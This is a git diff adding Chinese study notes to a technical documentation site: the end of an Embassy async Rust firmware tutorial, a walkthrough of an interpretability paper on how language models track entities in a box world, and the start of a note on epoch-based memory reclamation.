+  [共享一个栈，状态机在 .rodata/.bss]
+         │
+         ▼
+    executor 轮询
+```
+
+代价是：**长时间不占 await 的 CPU 密集循环** 会饿死其他任务——需要主动 `yield` 或拆成小块。嵌入式固件多数是等外设，这通常可接受。
+
+## 核心概念二：embassy-time 与异步等待
+
+阻塞延时在 Embassy 里不是 `hal::delay::DelayMs::delay_ms()` 占死 CPU，而是：
+
+```rust
+use embassy_time::Timer;
+
+Timer::after_millis(500).await;
+```
+
+`embassy-time` 依赖平台 **Time Driver**（nRF、STM32、RP2040 等 HAL 自带）。内部维护 **timer 队列**：任务在 `await` 时注册唤醒时间，到期由中断标记 Future 就绪，executor 再次 poll。
+
+官方建议：**亚微秒级** 精确延时仍用**阻塞**硬件延时——上下文切换成本太高，async 定时器不适合做纳秒级忙等。
+
+常见 API：
+
+| API | 用途 |
+|-----|------|
+| `Timer::after_millis(n).await` | 相对延时 |
+| `Timer::at(instant).await` | 绝对时间点 |
+| `Ticker::every(interval)` | 周期定时（类似 RTOS 软件定时器） |
+
+GPIO 的「等按键按下」同样做成 Future，例如 `Input::wait_for_low().await`，底层在 EXTI 中断里唤醒任务，等待期间 CPU 可睡眠。
+
+## 核心概念三：HAL、可组合性与实时性
+
+Embassy 不只是 executor：
+
+- **HAL**（`embassy-nrf`、`embassy-stm32`、`embassy-rp`…）：安全封装寄存器，提供 async 与 blocking 两套 API。
+- **Pick and choose**（官网强调）：可用 Embassy executor + 别家 HAL；或 Embassy HAL + 别的 runtime；时间驱动也可自实现。
+- **多 executor**：`InterruptExecutor` 可在**中断上下文**驱动高优先级任务，与主线程 executor 形成软实时层次（类似「高优先级 ISR 里跑小 executor」）。
+- **调度扩展**：feature `scheduler-priority`、`scheduler-deadline`（EDF）可选，用额外元数据排序就绪队列。
+
+低功耗路径：当 run queue 空且没有即将到期的 timer，平台 `sleep()`；外设中断到来时 **pender** 唤醒 executor 继续 poll——没有「空转 while 轮询标志位」。
+
+## 代码示例一：LED 闪烁 + 按键（最小 async 固件）
+
+下列模式与 [embassy.dev](https://embassy.dev/) 官网示例一致，展示 `main`、`task`、`Spawner`、GPIO async：
+
+```rust
+use embassy_executor::Spawner;
+use embassy_nrf::gpio::{AnyPin, Input, Level, Output, OutputDrive, Pull};
+use embassy_nrf::Peri;
+use embassy_time::Timer;
+
+#[embassy_executor::task]
+async fn blink(pin: Peri<'static, AnyPin>) {
+    let mut led = Output::new(pin, Level::Low, OutputDrive::Standard);
+    loop {
+        led.set_high();
+        Timer::after_millis(150).await;
+        led.set_low();
+        Timer::after_millis(150).await;
+    }
+}
+
+#[embassy_executor::main]
+async fn main(spawner: Spawner) {
+    let p = embassy_nrf::init(Default::default());
+
+    // 后台闪灯，与 main 逻辑并发（协作式）
+    spawner.spawn(blink(p.P0_13.into())).unwrap();
+
+    let mut button = Input::new(p.P0_11, Pull::Up);
+    loop {
+        button.wait_for_low().await;   // 按下：异步等 GPIO，不阻塞其他任务
+        defmt::info!("Button pressed!");
+        button.wait_for_high().await;
+        defmt::info!("Button released!");
+    }
+}
+```
+
+读这段代码的「零基础 checklist」：
+
+1. `#[embassy_executor::main]` 替代 `fn main()`，整个固件入口是 async 的。
+2. `blink` 是独立 **Task**，由宏生成静态存储；`spawner.spawn` 只接受一次（除非 `pool_size > 1`）。
+3. `Peri<'static, AnyPin>` 表达引脚在整个程序生命周期有效——Rust 所有权防止悬空引脚。
+4. 两个 `loop` 里的 `.await` 是**唯一**让出 CPU 的点；闪灯与按键等待交替被 executor 推进。
+
+`Cargo.toml` 片段（Cortex-M 常见配置，版本号以 Book 为准）：
+
+```toml
+[dependencies]
+embassy-executor = { version = "0.10", features = [
+    "arch-cortex-m",
+    "executor-thread",
+    "defmt",
+] }
+embassy-time = { version = "0.5", features = ["defmt"] }
+embassy-nrf = { version = "0.8", features = ["nrf52840", "time-driver-rtc1", "defmt"] }
+defmt = "1"
+defmt-rtt = "1"
+panic-probe = { version = "1", features = ["print-defmt"] }
+```
+
+## 代码示例二：UART 行协议与超时（组合多个 async 原语）
+
+第二个例子展示 **UART async 读** 与 **超时** 组合——典型传感器/调试口场景。API 因芯片而异，此处以 `embassy-stm32` 风格示意（与 Book 中 async UART 章节思路一致）：
+
+```rust
+use embassy_executor::Spawner;
+use embassy_stm32::usart::{Uart, Config};
+use embassy_stm32::bind_interrupts;
+use embassy_stm32::peripherals::USART1;
+use embassy_time::{Duration, Timer, with_timeout};
+use {defmt_rtt as _, panic_probe as _};
+
+bind_interrupts!(struct Irqs {
+    USART1 => embassy_stm32::usart::InterruptHandler<embassy_stm32::peripherals::USART1>;
+});
+
+#[embassy_executor::task]
+async fn uart_line_reader(mut uart: Uart<'static, async>) {
+    let mut buf = [0u8; 64];
+    loop {
+        // 带超时的 read_until：100ms 内没收到换行则返回 Err
+        match with_timeout(Duration::from_millis(100), uart.read_until(b'\n', &mut buf)).await {
+            Ok(Ok(n)) => {
+                defmt::info!("line bytes: {}", n);
+                // 解析 buf[..n] ...
+            }
+            Ok(Err(e)) => defmt::warn!("uart err: {:?}", e),
+            Err(_) => {
+                defmt::trace!("read timeout, retry");
+            }
+        }
+        Timer::after_millis(10).await; // 简单节流
+    }
+}
+
+#[embassy_executor::main]
+async fn main(spawner: Spawner) {
+    let p = embassy_stm32::init(Default::default());
+    let cfg = Config::default();
+    let uart = Uart::new(p.USART1, p.PA10, p.PA9, Irqs, p.DMA1_CH5, p.DMA1_CH4, cfg).unwrap();
+    spawner.spawn(uart_line_reader(uart)).unwrap();
+
+    loop {
+        Timer::after_secs(1).await;
+        defmt::info!("heartbeat");
+    }
+}
+```
+
+这段代码体现的 Embassy 模式：
+
+- **中断 + DMA** 在 HAL 内完成，任务侧只见 `read_until().await`。
+- `with_timeout` 把「无限等待」变成可恢复错误，避免协议卡死占满逻辑。
+- `main` 只负责初始化和心跳，协议循环在子任务——类似 RTOS 里两个线程，但无第二块栈。
+
+若平台无 async UART，也可用 `embassy-sync` 的 channel 把 ISR 收到的字节送给 async 任务，模式相同：**ISR 短、任务长**。
+
+## 核心概念四：同步原语与跨任务通信
+
+除 GPIO、UART 外，Embassy 生态常用：
+
+| 组件 | 作用 |
+|------|------|
+| `embassy-sync` | 无堆 `Mutex`、`Channel`、`Signal`、`Watch` 等，供任务间传数据 |
+| `embassy-futures` | `select`、`join`、`block_on` 辅助（嵌入式慎用 `block_on` 占死 executor） |
+| `critical-section` | 短临界区，与 executor 配合 |
+
+`Mutex` 在 async 里是 **async mutex**：锁被占用时 `.await` 等待，而不是自旋占 CPU。适合保护共享传感器缓冲区。
+
+选择 **channel** 时，生产者 `send().await`、消费者 `receive().await`，天然背压——比裸全局变量 + 标志位更易推理。
+
+## 执行器实现细节（进阶阅读）
+
+Book 中 executor 章节的要点，适合第二次阅读：
+
+1. **Run queue**：就绪任务 FIFO；也可选优先级 / deadline 调度。
+2. **Waker**：Future 在 `Pending` 时注册 waker；中断里调用 `wake`，任务重新入队。
+3. **多 Executor**：例如主循环 `executor-thread` + 高优先级 `InterruptExecutor` 绑 NVIC 优先级。
+4. **自定义平台**：包装 `raw::Executor`，实现 `poll` 循环 + `pender`（唤醒睡眠线程），可嫁接到现有 RTOS 上。
+
+`embassy-executor` crate 文档明确：**必须恰好提供一个 platform 实现**（`platform-cortex-m`、`platform-riscv32` 或 HAL 自带）。
+
+## 与 FreeRTOS / Zephyr 选型简表
+
+| 需求 | 更倾向 |
+|------|--------|
+| 团队只熟 C、供应商 BSP 是 FreeRTOS | FreeRTOS / Zephyr |
+| 新项目、Rust、I/O 密集、要强内存安全 | Embassy |
+| 硬实时 < 10µs 抖动、复杂优先级继承 | 抢占 RTOS 或 InterruptExecutor + 裸 ISR |
+| 要完整蓝牙 Mesh / 全网络栈开箱 | Zephyr 往往更全；Embassy 需叠组件 |
+| 本地单元测试 async 逻辑 | `executor` + `platform-std` 在 PC 上跑 |
+
+Embassy 官方立场是：协作式 async **往往更快更小** than 传统 RTOS——前提是工作负载以等待外设为主，而非长时间 CPU 计算。
+
+## 学习路径建议
+
+1. **环境**：`rustup target add thumbv7em-none-eabihf`（视板子而定），用 `probe-rs` 或 `cargo-embed` 烧录。
+2. **跑通 Book 的 Blinky async 版**：对比同一板子的 blocking 例程，观察 `Cargo.toml` feature 差异。
+3. **改示例**：加一个 `Ticker` 每秒打印，理解 timer 队列。
+4. **读 executor 章**：能画出 `Poll::Pending` → 入队 → 睡眠 → 中断唤醒。
+5. **做一个综合小项目**：按键切换 BLE 广播间隔 + LED 状态机，全部用 async 函数拆分。
+
+推荐资源：
+
+- [Embassy Book](https://embassy.dev/book/) — 主教材
+- [embassy.dev 首页](https://embassy.dev/) — 架构与 pick-and-choose 说明
+- [docs.embassy.dev](https://docs.embassy.dev/) — crate API
+- GitHub [embassy-rs/embassy](https://github.com/embassy-rs/embassy) — 示例与 issue
+
+## 常见坑
+
+| 现象 | 可能原因 |
+|------|----------|
+| 任务从不运行 | 忘记 `spawner.spawn`，或 `main` 里无 `.await` 占满 CPU |
+| 链接报 RAM 不足 | 任务状态机过大；减少 `pool_size` 或简化 async 调用链 |
+| 定时不准 | 用 async 做极短延时；改用 blocking 或硬件定时器 |
+| `spawn` 失败 | 该 `task` 默认 `pool_size = 1`，重复 spawn 同类型任务需加大 pool |
+| 死锁 | async `Mutex` 跨任务锁顺序不一致；用 `select!` 或拆分所有权 |
+
+## 小结
+
+Embassy 把嵌入式多任务从「多个栈 + 内核切换」翻译成「**单栈 + async 状态机 + 专用 executor**」。日常写固件时，你把每个外设或协议写成 `async fn`，用 `.await` 表达等待，用 `Spawner` 组装并发；RAM 与唤醒路径在编译期、硬件中断层收口。对于零基础读者，先建立「服务员协作上菜」的心智模型，再跑通 LED + 按键例程，最后读 Book 里 executor 与 time 两章，就能在 Rust 嵌入式里写出可维护的 async 固件，并与 FreeRTOS / Zephyr 路线做出清醒选型。
diff --git a/src/content/docs/papers/entity-tracking-states.md b/src/content/docs/papers/entity-tracking-states.md
new file mode 100644
index 000000000..5d1371669
--- /dev/null
+++ b/src/content/docs/papers/entity-tracking-states.md
@@ -0,0 +1,336 @@
+---
+title: Do Language Models Track Entities Across State Changes? — 零基础学习笔记
+来源: https://arxiv.org/abs/2605.30233
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：仓库管理员 vs 考前突击翻笔记
+
+想象你是仓库管理员，有 7 个箱子，每个箱子里放着若干物品。早上交接班时，同事一口气告诉你：
+
+> 苹果在 0 号箱，桃子在 1 号箱，钟表和罐子在 2 号箱……
+
+接着一整天又发生多件事：把手表放进 1 号箱、从 2 号箱拿走罐子、把 0 号箱的苹果移到 1 号箱……
+
+下班前老板问：**「1 号箱里现在有什么？」**
+
+人类通常会怎么做？两种策略：
+
+1. **增量记账（incremental）**：每听到一条操作，就在脑子里更新一张「全局库存表」——7 个箱子各自装了什么，随时可查。
+2. **延迟汇总（non-incremental）**：平时不维护完整表格；问题出现时，回头把相关句子在脑子里**并行翻一遍**，拼出答案。
+
+**Do Language Models Track Entities Across State Changes?**（Tang 等，ICML 2026，arXiv:[2605.30233](https://arxiv.org/abs/2605.30233)）用机制可解释性方法证明：主流 Transformer 语言模型更像第二种——它们面对的是一个**本质上是顺序更新状态**的任务，却用**非顺序的「查询时再聚合」**策略来应付。
+
+更扎心的是：`REMOVE`（移除）操作背后不是「从某个箱子精确删掉某物」，而是一种脆弱的**全局抑制标签（global suppression tag）**——对象一旦被标成「要删」，模型倾向于在**整个上下文**里都不再预测它。在原始 benchmark 上这常常「碰巧正确」，换几个刁钻场景就会翻车。
+
+一句话：**模型会答题，不等于模型在心里维护了一张正确的世界状态表。**
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 实体追踪（Entity Tracking, ET）是什么
+
+**实体追踪**：在叙述 unfolding 的过程中，持续知道「谁在哪里、有什么属性、状态如何变化」。它是下棋、长对话、多步推理、程序执行等能力的底层积木。
+
+此前工作大量研究 **entity binding**（静态绑定）：「苹果在 1 号箱」→ 问「1 号箱里有____」时模型如何找回「苹果」。Kim & Schuster (2023) 的 **box dataset** 把任务扩展到 **PUT / REMOVE / MOVE** 等**会改变世界状态**的操作，但「真实规模预训练模型在自然语言里**如何实现**这些状态变更」仍不清楚。
+
+### 2. 两条研究脉络的空白
+
+| 脉络 | 典型工作 | 局限 |
+|------|----------|------|
+| 玩具模型 + 合成语言 | Merrill et al. 2024; Li et al. 2025 | 层数/token 极限分析，难直接迁移到 Llama/CodeLlama |
+| 预训练模型 + binding 机制 | Prakash et al. 2024; Feng & Steinhardt 2023 | 多研究**无状态变更**的「look-back」电路 |
+
+本文填补：**非玩具 LM + 自然语言 + 多种状态变更 + 行为与机制双向验证**。
+
+### 3. 核心问题
+
+- 模型是**逐 token / 逐层**累积世界状态，还是**等到 query 出现再一次性聚合**？
+- `PUT`、`REMOVE`、`MOVE` 各自在残差流里如何实现？
+- 机制分析能否**预测**标准测试里看不到的失败模式，并**干预修复**？
+
+---
+
+## 实验任务长什么样
+
+论文沿用 Kim & Schuster (2023) 的 box 格式。一个完整样例：
+
+```text
+The apple is in Box 0, the peach is in Box 1, the clock and the jar is in Box 2,
+the television is in Box 3, the brain is in Box 4, the book is in Box 5,
+the pin is in Box 6.
+Put the watch into Box 1.
+Remove the jar from Box 2.
+Move the apple in Box 0 to Box 1.
+Box 1 contains the
+```
+
+结构拆成三段：
+
+| 段落 | 含义 |
+|------|------|
+| **DESCRIPTION** | 初始世界：7 个箱子、最多每箱 3 个物体（从 100 个物体名池中采样） |
+| **OPERATIONS** | 状态变更：`PUT` 放入新物、`REMOVE` 从某箱移除、`MOVE` 等价于移出+移入 |
+| **QUERY** | 问指定箱子内容，模型需自回归补全物体列表 |
+
+研究模型：**Gemma-2-2B**、**CodeLlama-13B**（机制分析主力）、**Llama-3.1-70B**（多操作行为）。代码开源：[PootieT/entity-tracking-mi](https://github.com/PootieT/entity-tracking-mi)。
+
+---
+
+## 核心发现一：非增量追踪（Non-incremental Tracking）
+
+### 假设对照
+
+**跨 token（H1 vs H2）**
+
+- **H1（增量全局）**：从左到右读上下文时，最后一 token 的隐状态里编码了**所有箱子**的完整世界状态。
+- **H2（查询时局部）**：只有被问到的箱子相关信息，在 **query 变得明确之后**才动态拼起来。
+
+**方法**：在 query 前最后一个 token（`the`）的残差流上训练线性 probe：
+
+- **Global probe**：对每个物体，预测它在哪个箱子（8 类，含「不在任何箱」）。
+- **Local probe**：对每个物体，预测它**是否在被查询的箱子**里（二分类）。
+
+**结果（CodeLlama-13B）**：Local probe 非平凡准确率接近 **0.9**；Global probe 仅约 **0.3**（随机约 0.12）。说明模型**没有**维护可解码的全局状态表，但**能**解码「当前问的这个箱子」的局部答案。
+
+**跨层（H3 vs H4）**
+
+- **H3**：若按层顺序处理多次局部操作，**更早的 prior state** 应在**更浅层**更可解码。
+- **H4**：多次操作在**同一层段并行**聚合，prior 与 final state 的 probe 峰值层相近。
+
+实验支持 **H4**：看不到「越早的状态越早出现在浅层」的清晰阶梯，而是 query 末尾**并行**整合。
+
+### 直觉总结
+
+```text
+你以为：  DESCRIPTION → 更新状态 → OPERATION₁ → 更新 → … → QUERY → 读出
+实际上：  DESCRIPTION + 所有 OPERATION →（几乎不维护表）→ QUERY 的 "the" → 并行捞信息 → 生成
+```
+
+这与「自回归 = 逐步推理」的朴素想象不一致：**显式提到实体名**时，模型更倾向 lazy aggregation，而非 simulation。
+
+---
+
+## 核心发现二：三种操作的机制
+
+### PUT：像「实体绑定电路」的亲戚
+
+`PUT` 往已有箱子里**加入新物体**。作者用 **path patching** 追踪注意力头，复现 Prakash et al. (2024) 的四组头 **A/B/C/D**：
+
+| 组 | 位置与作用（简化） |
+|----|-------------------|
+| **A** | 末 token、深层：抬高目标物体 logit |
+| **B** | 末 token、中层：把目标物体的 **order ID**（出现顺序）传给 A |
+| **C** | query 里的 box ID、中层：传递位置信息给 B |
+| **D** | 早期 box ID：扫 DESCRIPTION，绑定物体与箱子 |
+
+**PUT 与 DESCRIPTION 共用功能等价的子空间**传递位置信息（DCM + 子空间 patching），但具体注意力头集合重叠有限——**机制相似，实现不同**。
+
+### REMOVE：全局抑制标签（最反直觉）
+
+正确 `REMOVE` 应让被删物体**不再被预测**。分析发现：
+
+1. 有 `REMOVE` 时，上下文里多数物体 logit **整体上升**（模型在「抬高提到过的物体」）。
+2. 被删物体的上升幅度**明显更小** → **相对排名下降** → 生成时被抑制。
+3. 关键：**即使 REMOVE 针对的不是当前 query 的箱子**，被删物体仍被抑制 → **全局移除（Global Remove）**，而非「从某箱局部删除」。
+
+作者用 **三元 probe** 在物体/box token 上探测 `{不存在, 存在, 已移除}` 状态，发现 **object token 上的 remove tag** 因果有效；对 box ID 干预往往无效。`MOVE` 可理解为：对源箱加 remove tag，对目标箱加 exist tag。
+
+### 为什么原 benchmark 测不出 bug
+
+原数据集约定：**每种物体在全仓库只出现一次**。全局删掉「罐子」与「从 2 号箱删掉罐子」在行为上等价——机制退化被数据设计**掩盖**了。
+
+---
+
+## 机制预测的新失败模式
+
+论文设计三类**原 box 数据没有**的诊断场景：
+
+| 场景 | 例子要点 | 全局 REMOVE 为何失败 |
+|------|----------|----------------------|
+| **No-op Remove** | 帽子在 3 号箱，却写「从 0 号箱移除帽子」 | 仍全局抑制帽子，问 3 号箱时答错 |
+| **Shared-label** | 0 号与 3 号箱都有 pill，只应从 0 号移除 | 两个 pill 都被抑制 |
+| **Re-introduce** | 移除桃子后又 PUT 回 0 号箱 | 标签强度衰减 + 忽略操作顺序 |
+
+**Degeneration Rate (DR)** 在这些场景上很高（13B 上 No-op 约 **84%**）。对 object token 的 remove tag 做 **null-space 干预**可部分修复前两类（干预成功率 IS 约 **66–73%**），Re-introduce 更难（需正确排序多次操作）。
+
+这也为 **Chain-of-Thought 改善 ET** 提供机制假说：CoT 把长上下文拆短，减轻 remove tag 随距离衰减（论文 Fig. 8：Box ID 条件 probe 准确率随操作链变长而下降）。
+
+---
+
+## 代码示例 1：用 Python 模拟 box 世界（正确 vs 全局 REMOVE）
+
+下面是一个**教学用**的极简世界状态机，对比「局部正确 REMOVE」与论文描述的「全局错误 REMOVE」：
+
+```python
+from dataclasses import dataclass, field
+from typing import Dict, Set, List
+
+@dataclass
+class BoxWorld:
+    """增量维护：每个箱子一个集合 —— 人类/正确算法应有的样子。"""
+    boxes: Dict[int, Set[str]] = field(default_factory=dict)
+
+    def put(self, box: int, obj: str) -> None:
+        self.boxes.setdefault(box, set()).add(obj)
+
+    def remove_local(self, box: int, obj: str) -> None:
+        if box in self.boxes:
+            self.boxes[box].discard(obj)
+
+    def query(self, box: int) -> List[str]:
+        return sorted(self.boxes.get(box, set()))
+
+
+class GlobalRemoveLM:
+  """模仿论文中的退化机制：REMOVE 在物体名上打全局抑制标签。"""
+    def __init__(self, world: BoxWorld):
+        self.world = world
+        self.globally_removed: Set[str] = set()
+
+    def remove_global(self, box: int, obj: str) -> None:
+        # 注意：忽略 box，只要提到 remove obj 就全局封禁
+        self.globally_removed.add(obj)
+        self.world.remove_local(box, obj)  # 局部也会删，但查询逻辑被全局集覆盖
+
+    def query_logits(self, box: int) -> Dict[str, float]:
+        scores = {o: 1.0 for o in self.world.query(box)}
+        for o in list(scores):
+            if o in self.globally_removed:
+                scores[o] = -1e9  # 全局抑制：不管在哪个箱
+        return scores
+
+
+# Shared-label 场景
+w = BoxWorld()
+w.put(0, "pill")
+w.put(3, "pill")
+
+lm = GlobalRemoveLM(w)
+lm.remove_global(0, "pill")  # 只想从 0 号箱移除
+
+print("正确局部 query(3):", w.query(3))           # ['pill']
+print("全局 REMOVE query(3) 存活:", "pill" in lm.query_logits(3))  # False — 退化
+```
+
+运行后你会看到：局部状态机认为 3 号箱仍有 `pill`，但「全局 REMOVE LM」在问 3 号箱时也会把 `pill` 压死——这正是论文 Table 1 中高 DR 的行为根源。
+
+---
+
+## 代码示例 2：线性 Probe 思路（概念复现）
+
+论文用线性 probe 区分 global vs local 表征。零基础可以理解成：**在固定层、固定 token 的隐向量上训练 logistic 回归，看能否解码某种结构信息**。
+
+```python
+import numpy as np
+from sklearn.linear_model import LogisticRegression
+from sklearn.model_selection import train_test_split
+from sklearn.metrics import accuracy_score
+
+# X[i]：第 i 条样本在「query 前 the」token、第 layer 层的残差向量（示意）
+# y_global[i]：物体 j 在哪个箱子（0-7）
+# y_local[i]：物体 j 是否在被查询的箱子里（0/1）
+
+def train_probe(X, y, label: str) -> float:
+    X_tr, X_te, y_tr, y_te = train_test_split(X, y, test_size=0.2, random_state=0)
+    clf = LogisticRegression(max_iter=1000, class_weight="balanced")
+    clf.fit(X_tr, y_tr)
+    acc = accuracy_score(y_te, clf.predict(X_te))
+    print(f"{label} probe accuracy: {acc:.3f}")
+    return acc
+
+# 论文定性结论（CodeLlama-13B, layer 中段）可概括为：
+# local  >>  global（约 0.9 vs 0.3 非平凡准确率）
+rng = np.random.default_rng(42)
+N, D = 500, 512
+X_fake = rng.normal(size=(N, D))
+y_local = rng.integers(0, 2, size=N)
+y_global = rng.integers(0, 8, size=N)
+
+train_probe(X_fake, y_local, "local (illustrative)")
+train_probe(X_fake, y_global, "global (illustrative)")
+```
+
+真实实验需从模型 forward hook 提取残差流（仓库用 TransformerLens / NNsight）。要点不在绝对数字，而在**同一表征位置上 local 远强于 global**——这是拒绝 H1、支持 H2 的关键证据链。
+
+---
+
+## 方法工具箱（读论文时的「地图」）
+
+| 工具 | 用途 | 本文中的角色 |
+|------|------|----------------|
+| **Linear probing** | 检测隐状态是否编码某变量 | Global/local/prior state、三元 remove tag |
+| **Path patching** | 因果追踪注意力头对 logit 的贡献 | PUT/DESCRIPTION 电路 A–D |
+| **DCM + 子空间 patching** | 找传递 order ID 的低维子空间 | PUT 与 DESCRIPTION 子空间重叠 |
+| **Logit/rank diff** | 比较有无 REMOVE 时排名变化 | 发现全局抑制而非局部删除 |
+| **Amnesic probing 干预** | 投影到 probe 零空间，抹除信号 | 验证 remove tag 因果性、部分修复 DR |
+
+---
+
+## 与相关工作的关系
+
+```text
+Kim & Schuster 2023 — box benchmark，证明 LM 有一定 ET 能力
+        ↓
+Kim et al. 2024 — 代码预训练显著提升 ET
+        ↓
+Prakash et al. 2024 — binding「look-back」电路（无状态变更）
+        ↓
+本文 2605.30233 — 状态变更 + 非增量聚合 + REMOVE 全局退化
+        ↓
+可延伸 — CoT/外部记忆/状态空间模型是否更接近增量 simulation？
+```
+
+玩具模型文献（Li et al. 2025）曾发现微调小模型可**按层**聚合置换状态；本文在**预训练大模型 + 显式实体名**设定下得到相反图景——说明**任务表述与训练分布**会根本改变内部算法。
+
+---
+
+## 对工程与应用的启示
+
+### 1. 行为准确率 ≠ 可靠状态推理
+
+在 box 类基准上「看起来会追踪」的模型，可能只是在 query 点做**启发式检索 + 标签抑制**，并未维护可复用的世界模型。部署到 Agent、游戏、机器人规划时，应用**机制启发的对抗样例**（no-op remove、重复标签、重新引入）做红队测试。
+
+### 2. 长上下文多步操作的风险
+
+Remove tag 随操作链变长而变弱（Box ID probe 线性下降），但 object token 上的退化信号相对稳定——模型更依赖**脆弱的物体级全局标签**。拆分子步骤（CoT）、缩短每段上下文、或引入**显式状态变量**（JSON/数据库/符号模块）可能更稳。
+
+### 3. 训练与架构方向
+
+论文讨论：是否在预训练中鼓励**潜式计算完整世界状态**（latent world states）、是否用**外部记忆**卸载 ET、以及 SSM/递归结构是否更适合真·增量追踪。对 RAG/Agent 设计者：不要把「LLM 读过就等于记住了正确状态」当作默认假设。
+
+---
+
+## 局限与开放问题
+
+- 机制分析主力是 **CodeLlama-13B**；更大模型行为更好但退化仍在（70B Shared-label DR 仍约 **27%**）。
+- **REMOVE 的完整电路**尚未像 PUT 那样被 path patching 精确定位（附录 H.14 负面结果）。
+- 任务虽自然语言，但仍属**受控合成域**；国际象棋、真实对话中的 ET 是否同机制未知。
+- 干预修复是 **proof-of-concept**，未形成可部署的推理时补丁。
+
+---
+
+## 一句话带走
+
+| 维度 | 结论 |
+|------|------|
+| 任务 | 自然语言 box 世界中的 PUT/REMOVE/MOVE 实体追踪 |
+| 策略 | **非增量**：query 末 token 并行聚合，非逐 token 建世界表 |
+| PUT | 类似已知 binding 电路，共享 order-ID 子空间 |
+| REMOVE | **全局 remove tag** 抑制物体，非按箱局部删除 |
+| 价值 | 机制预测新失败 → 设计更强评测 + 可干预修复 |
+| 元教训 | **行为与机制分析应闭环**：测得准不够，还要问「怎么实现的、会在哪翻车」 |
+
+---
+
+## 参考资料
+
+- 论文：[arXiv:2605.30233](https://arxiv.org/abs/2605.30233) | [HTML 版](https://arxiv.org/html/2605.30233v1)
+- 代码：[github.com/PootieT/entity-tracking-mi](https://github.com/PootieT/entity-tracking-mi)
+- Box 基准：Kim & Schuster, *Entity Tracking in Language Models*, ACL 2023
+- Binding 电路：Prakash et al., 2024/2025 look-back 系列
+- ICML 2026 Poster：[icml.cc/virtual/2026/poster/64207](https://icml.cc/virtual/2026/poster/64207)
diff --git a/src/content/docs/papers/epoch-based-reclamation-2007.md b/src/content/docs/papers/epoch-based-reclamation-2007.md
new file mode 100644
index 000000000..7336b23fb
--- /dev/null
+++ b/src/content/docs/papers/epoch-based-reclamation-2007.md
@@ -0,0 +1,288 @@
+---
+title: Practical Lock-Freedom — Epoch-based Reclamation（按「时代」延迟回收共享内存）
+来源: https://www.cl.cam.ac.uk/research/srg/netos/papers/2007-cpwl.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Epoch-based Reclamation（EBR，按时代回收）** 是一套让用户态 lock-free 数据结构**安全 `free` 已删节点**的机制。它最早由 Keir Fraser 在博士论文 *Practical Lock-Freedom*（2003）里系统化，并作为 Cambridge **MCAS / WSTM / OSTM** 非阻塞 API 的默认回收方案，出现在后来的期刊论文 *Concurrent Programming Without Locks*（Fraser & Harris，**TOCS 2007**；你手上的 PDF 即此文）。
+
+日常类比：**夜市换班的三只回收桶**。
+
+- 摊主（线程）每开始一轮「碰共享货架」的工作，先看门口黑板上的**班次号**（global epoch），记在自己小本子上（local epoch）。
+- 某件货从货架上撤下时，**不能当场扔进碎纸机**——可能还有顾客正拿着旧价签比价。摊主把废货扔进**当前班次对应的回收桶**（limbo list）。
+- 等黑板确认「**所有正在干活的摊主都看过最新班次**」，**上上班次**那只桶里的货才能统一销毁——因为再早一班次的顾客，最晚也在「上一班次」结束前离开了货架区。
+
+技术上，EBR 解决的是 lock-free 里的经典难题：**读者拿着裸指针遍历时，写者不能把节点立刻 `free`**。EBR 把「等所有读者离开」这件事，编码成**全局 epoch 计数 + 每线程本地 epoch + 三个 limbo 桶**，读者路径几乎不用登记「我正在看哪本书」（对比 Hazard Pointer 的前台卡片）。
+
+## 为什么重要
+
+不理解 EBR，下面这些事很难讲清楚：
+
+- 为什么 **crossbeam-epoch**、**Folly `folly::Synchronized`** 周边、不少 C++ lock-free 容器默认走 epoch 而不是 hazard pointer
+- 为什么 Fraser/Harris 能在 2007 年做出**与精细锁设计性能相当甚至更好**的 skip-list、红黑树——回收开销若用 SMR/HP 每条边都 `memory barrier`，BST 实测会慢 **20%+**（Fraser 论文原话）
+- 为什么 EBR 常被称作 **QSBR（Quiescent-State Based Reclamation）的自动化版**：程序员不用手写「静默点」，库在临界区入口帮你记账
+- 为什么用户态 EBR **不是严格 lock-free**：一个线程在临界区里被挂起，可能**永远拖住回收**——这和 Linux RCU 在内核里「靠调度切换推进 grace period」形成对照
+
+JPDC 2007 的横评（Hart 等）结论也很直白：**没有全局最优的回收方案**；EBR 在读多、读者开销敏感、能接受偶发内存延迟时往往占优。
+
+## 核心概念
+
+### 1. Limbo list（炼狱单）——先登记，后销毁
+
+对象从共享堆上逻辑删除后，进入当前 epoch 的 **limbo list**，而不是立刻 `free`。思想来自 Kung & Lehman 的并行 GC、Pugh skip-list 等早期工作；Fraser 的改进是：**用 epoch 判断何时 limbo 里再也没有合法引用**，并只维护 **三个** 桶循环复用，改善 cache locality。
+
+删除节点的责任规则（skip-list 特例）：
+
+- 正常：谁 CAS 成功摘掉节点，谁把它扔进 limbo。
+- 插入与删除并发：节点可能「还在往高层插」就被逻辑删了。此时用 per-node **deferral flag**：插入与删除都尝试置位，**后完成的一方**负责入 limbo——因为只有两个操作可能创建/销毁共享引用。
+
+### 2. Global epoch 与 local epoch
+
+- **Global epoch** `e`：全系统当前「时代」编号（通常 `mod 3` 循环）。
+- **Local epoch**：每个线程在进入**访问共享对象的操作**时，把本地 epoch 更新为当前的 `e`。
+- **关键不变量**：对象进入 limbo 时，共享堆里已没有指向它的引用；仍可能存在的引用只能是 **(i) 私有的**，且 **(ii) 属于在对象入 limbo 之前就已开始当前操作的线程**。
+
+因此：当**所有正在临界区里的线程**的 local epoch 都 ≥ 当前 global epoch 时，**两个 epoch 之前**填满的那只 limbo 桶可以安全清空。
+
+### 3. 为什么需要三个桶，而不是两个？
+
+直觉上「大家都看到 epoch `e` 了，上一桶就能回收」——**不够**。线程进入新 epoch 的时刻**不同步**：在任意时刻，往往有线程正从 `e-1` 迁到 `e`，它们手里还可能握着 `e-1` 时代 limbo 对象的私有指针。所以要再等一轮，才安全复用 `e-1` 的桶。Fraser 用 **三个 limbo list** 轮转；Hart 等的图示把这三段称为 **fuzzy barrier**。
+
+### 4. 推进 epoch 的「模糊屏障」
+
+线程每次进入临界区时，以一定概率扫描「当前正在临界区内的线程列表」：
+
+- 若每个这样的线程的 local epoch **都等于** global epoch，则把**最老**的 limbo list 并入 free list，并 `global_epoch++`。
